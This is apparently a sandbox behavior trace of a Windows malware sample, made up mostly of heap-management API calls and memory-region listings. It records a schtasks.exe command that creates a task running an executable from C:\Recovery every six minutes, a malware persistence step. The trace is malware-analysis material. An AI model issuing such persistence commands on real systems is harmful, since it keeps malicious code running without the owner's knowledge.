GetProcessHeap () returned 0x3c0000 [0144.345] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c90) returned 1 [0144.345] GetProcessHeap () returned 0x3c0000 [0144.345] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c90) returned 0x20 [0144.345] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c90 | out: hHeap=0x3c0000) returned 1 [0144.345] GetProcessHeap () returned 0x3c0000 [0144.345] GetProcessHeap () returned 0x3c0000 [0144.345] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd2c0) returned 1 [0144.345] GetProcessHeap () returned 0x3c0000 [0144.345] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd2c0) returned 0x200 [0144.345] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd2c0 | out: hHeap=0x3c0000) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbad0) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dbad0) returned 0x18 [0144.346] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dbad0 | out: hHeap=0x3c0000) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c00) returned 0x20 [0144.346] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c00 | out: hHeap=0x3c0000) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc240) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc240) returned 0x14 [0144.346] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc240 | out: hHeap=0x3c0000) returned 1 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.346] GetProcessHeap () returned 0x3c0000 [0144.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc220) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc220) returned 0x18 [0144.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc220 | out: hHeap=0x3c0000) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b40) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b40) returned 0x20 [0144.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b40 | out: hHeap=0x3c0000) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc260) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc260) returned 0x16 [0144.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc260 | out: hHeap=0x3c0000) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc1e0) returned 1 [0144.347] GetProcessHeap () returned 0x3c0000 [0144.347] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc1e0) returned 0x18 [0144.347] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc1e0 | out: hHeap=0x3c0000) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b10) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b10) returned 0x20 [0144.348] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b10 | out: hHeap=0x3c0000) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba10) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dba10) returned 0x2 [0144.348] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba10 | out: hHeap=0x3c0000) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5960) returned 1 [0144.348] GetProcessHeap () returned 0x3c0000 [0144.348] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5960) returned 0x20 [0144.349] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5960 | out: hHeap=0x3c0000) returned 1 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5990) returned 1 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5990) returned 0x20 [0144.349] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5990 | out: hHeap=0x3c0000) returned 1 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59c0) returned 1 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d59c0) returned 0x20 [0144.349] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59c0 | out: hHeap=0x3c0000) returned 1 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.349] GetProcessHeap () returned 0x3c0000 [0144.350] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59f0) returned 1 [0144.350] GetProcessHeap () returned 0x3c0000 [0144.350] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d59f0) returned 0x20 [0144.350] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d59f0 | out: hHeap=0x3c0000) returned 1 [0144.350] GetProcessHeap () returned 0x3c0000 [0144.350] GetProcessHeap () returned 0x3c0000 [0144.350] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb80) returned 1 [0144.350] GetProcessHeap () returned 0x3c0000 [0144.350] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcb80) returned 0x20 [0144.351] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcb80 | out: hHeap=0x3c0000) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd660) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd660) returned 0xa [0144.351] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd660 | out: hHeap=0x3c0000) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcbb0) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcbb0) returned 0x20 [0144.351] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcbb0 | out: hHeap=0x3c0000) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7a80) returned 1 [0144.351] GetProcessHeap () returned 0x3c0000 [0144.351] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7a80) returned 0x30 [0144.352] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7a80 | out: hHeap=0x3c0000) returned 1 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcbe0) returned 1 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcbe0) returned 0x20 [0144.352] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcbe0 | out: hHeap=0x3c0000) returned 1 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7ac0) returned 1 [0144.352] GetProcessHeap () returned 0x3c0000 [0144.352] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7ac0) returned 0x30 [0144.353] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7ac0 | out: hHeap=0x3c0000) returned 1 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdc0) returned 1 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcdc0) returned 0x20 [0144.353] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcdc0 | out: hHeap=0x3c0000) returned 1 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd580) returned 1 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd580) returned 0x10 [0144.353] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd580 | out: hHeap=0x3c0000) returned 1 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.353] GetProcessHeap () returned 0x3c0000 [0144.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd90) returned 1 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd90) returned 0x20 [0144.354] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd90 | out: hHeap=0x3c0000) returned 1 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5a0) returned 1 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd5a0) returned 0x10 [0144.354] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5a0 | out: hHeap=0x3c0000) returned 1 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd60) returned 1 [0144.354] GetProcessHeap () returned 0x3c0000 [0144.354] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd60) returned 0x20 [0144.355] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd60 | out: hHeap=0x3c0000) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5c0) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd5c0) returned 0xe [0144.355] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5c0 | out: hHeap=0x3c0000) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd30) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd30) returned 0x20 [0144.355] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd30 | out: hHeap=0x3c0000) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5e0) returned 1 [0144.355] GetProcessHeap () returned 0x3c0000 [0144.355] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd5e0) returned 0x16 [0144.356] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd5e0 | out: hHeap=0x3c0000) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd00) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcd00) returned 0x20 [0144.356] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcd00 | out: hHeap=0x3c0000) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd600) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd600) returned 0x16 [0144.356] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd600 | out: hHeap=0x3c0000) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dccd0) returned 1 [0144.356] GetProcessHeap () returned 0x3c0000 [0144.356] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dccd0) returned 0x20 [0144.357] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dccd0 | out: hHeap=0x3c0000) returned 1 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3f9d00) returned 1 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3f9d00) returned 0x82 [0144.357] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3f9d00 | out: hHeap=0x3c0000) returned 1 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcca0) returned 1 [0144.357] GetProcessHeap () returned 0x3c0000 [0144.357] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcca0) returned 0x20 [0144.358] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcca0 | out: hHeap=0x3c0000) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd640) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dd640) returned 0xe [0144.358] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dd640 | out: hHeap=0x3c0000) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc70) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dcc70) returned 0x20 [0144.358] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dcc70 | out: hHeap=0x3c0000) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba30) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dba30) returned 0x18 [0144.358] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba30 | out: hHeap=0x3c0000) returned 1 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.358] GetProcessHeap () returned 0x3c0000 [0144.359] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a20) returned 1 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a20) returned 0x20 [0144.359] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a20 | out: hHeap=0x3c0000) returned 1 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a50) returned 1 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a50) returned 0x20 [0144.359] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a50 | out: hHeap=0x3c0000) returned 1 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a80) returned 1 [0144.359] GetProcessHeap () returned 0x3c0000 [0144.359] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5a80) returned 0x20 [0144.360] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5a80 | out: hHeap=0x3c0000) returned 1 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ab0) returned 1 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ab0) returned 0x20 [0144.360] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ab0 | out: hHeap=0x3c0000) returned 1 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba50) returned 1 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dba50) returned 0x18 [0144.360] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba50 | out: hHeap=0x3c0000) returned 1 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] GetProcessHeap () returned 0x3c0000 [0144.360] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ae0) returned 1 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ae0) returned 0x20 [0144.361] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ae0 | out: hHeap=0x3c0000) returned 1 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b70) returned 1 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5b70) returned 0x20 [0144.361] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5b70 | out: hHeap=0x3c0000) returned 1 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0) returned 1 [0144.361] GetProcessHeap () returned 0x3c0000 [0144.361] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5bd0) returned 0x20 [0144.362] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5bd0 | out: hHeap=0x3c0000) returned 1 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x20 [0144.362] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30 | out: hHeap=0x3c0000) returned 1 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0144.362] GetProcessHeap () returned 0x3c0000 [0144.362] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x20 [0144.363] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60 | out: hHeap=0x3c0000) returned 1 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba70) returned 1 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dba70) returned 0x18 [0144.363] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dba70 | out: hHeap=0x3c0000) returned 1 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ba0) returned 1 [0144.363] GetProcessHeap () returned 0x3c0000 [0144.363] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5ba0) returned 0x20 [0144.364] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5ba0 | out: hHeap=0x3c0000) returned 1 [0144.364] GetProcessHeap () returned 0x3c0000 [0144.364] GetProcessHeap () returned 0x3c0000 [0144.364] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9f0) returned 1 [0144.364] GetProcessHeap () returned 0x3c0000 [0144.364] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3db9f0) returned 0x18 [0144.364] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3db9f0 | out: hHeap=0x3c0000) returned 1 [0144.364] exit (_Code=0) Thread: id = 156 os_tid = 0xffc Process: id = "35" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40edf000" os_pid = "0x864" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 6 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\absolutetelnet.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3145 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3146 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3147 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3148 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 3149 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3150 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3151 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3152 start_va = 0xfff90000 end_va = 0xfffd7fff monitored = 1 entry_point = 0xfffb966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3153 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3154 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3155 start_va = 0x7fffffd5000 end_va = 0x7fffffd5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 3156 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3157 start_va = 0x220000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3158 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3159 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3160 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3161 start_va = 0x7efe0000 end_va = 0x7f0dffff 